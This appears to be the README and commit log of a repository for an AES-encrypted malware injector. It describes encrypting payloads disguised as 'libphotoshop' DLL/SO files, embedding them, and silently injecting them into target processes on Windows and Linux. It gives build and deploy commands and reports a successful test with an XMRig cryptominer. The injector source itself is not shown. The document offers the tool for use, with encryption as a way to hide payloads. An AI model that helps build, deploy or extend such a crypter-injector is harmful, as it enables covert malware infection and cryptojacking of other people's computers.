AES-Encrypter-Rust/COMPILATION_README.md
JorySeverijnse 59a40a43f6 Complete cross-platform AES injection system
- Implement AES-128-CBC encryption with SHA256 key derivation
- Add Linux SO injector with dlopen + function calling
- Add Windows DLL injector with NT API + APC queuing
- Create automated build script (build_injectors.sh)
- Generate single encrypted_payload.bin files per platform
- Embed real malware payloads (libphotoshop.dll/so)
- Update documentation and clean up repository
- Linux injector tested with real XMRig mining (700%+ CPU usage)
- Windows injector ready for compilation and testing

Security features:
- AES-128-CBC with random IVs and PKCS7 padding
- SHA256(password + salt) key derivation
- Cross-platform isolation (no code leakage)
- Single encrypted file format per platform
- Embedded payloads with no external dependencies
2025-12-18 13:29:09 +01:00

2.3 KiB

AES-Encrypted Cross-Platform Payload Injector

Secure AES-CBC encrypted malware injection for Windows (DLL) and Linux (SO) with embedded payloads.

🚀 Quick Start (Automated)

# Place your malware files in the root directory:
# - libphotoshop.dll (Windows DLL)
# - libphotoshop.so (Linux SO)

# Run the automated build script:
./build_injectors.sh

# This will:
# ✅ Encrypt both DLL and SO files
# ✅ Generate embedded hex data
# ✅ Build Linux injector
# ✅ Prepare Windows injector for compilation

📦 Manual Build (If Needed)

Linux Build

g++ -std=c++11 linux_injector.cpp -o linux_injector -lssl -lcrypto -ldl
./linux_injector  # Test injection

Windows Build

# On Windows with Visual Studio:
cl.exe /EHsc windows_injector.cpp advapi32.lib

# Or with MinGW:
g++ -std=c++11 windows_injector.cpp -o windows_injector.exe -ladvapi32

windows_injector.exe  # Test injection

🔧 How It Works

1. Encrypt Payloads

cd crypt
cargo run ../libphotoshop.dll  # Creates encrypted files

2. Embed in Injectors

The build script automatically:

  • Converts binaries to hex arrays
  • Embeds encrypted data in C++ source
  • Generates platform-specific injectors

3. Runtime Execution

  • Decrypts AES-128-CBC encrypted payload
  • Injects DLL/SO into target process
  • Executes malware functions (test_start)

🔒 Security Features

  • AES-128-CBC encryption with random IVs
  • SHA256 key derivation (password + salt)
  • PKCS7 padding with validation
  • No embedded keys (derived at runtime)
  • Cross-platform isolation (no code leakage)

📋 Architecture

├── crypt/           # Rust AES encryption tool
├── linux_injector   # Linux SO injector (compiled)
├── windows_injector.cpp # Windows DLL injector (source)
├── build_injectors.sh   # Automated build script
└── libphotoshop.*   # Encrypted malware payloads

Verification

Linux: TESTED - Real XMRig SO injection confirmed (700%+ CPU usage) Windows: READY - Source prepared with real encrypted DLL payload

🎯 Usage

# Automated build (recommended)
./build_injectors.sh

# Deploy Linux
./linux_injector

# Deploy Windows (after compilation)
windows_injector.exe

Both injectors decrypt embedded payloads and inject them into target processes silently.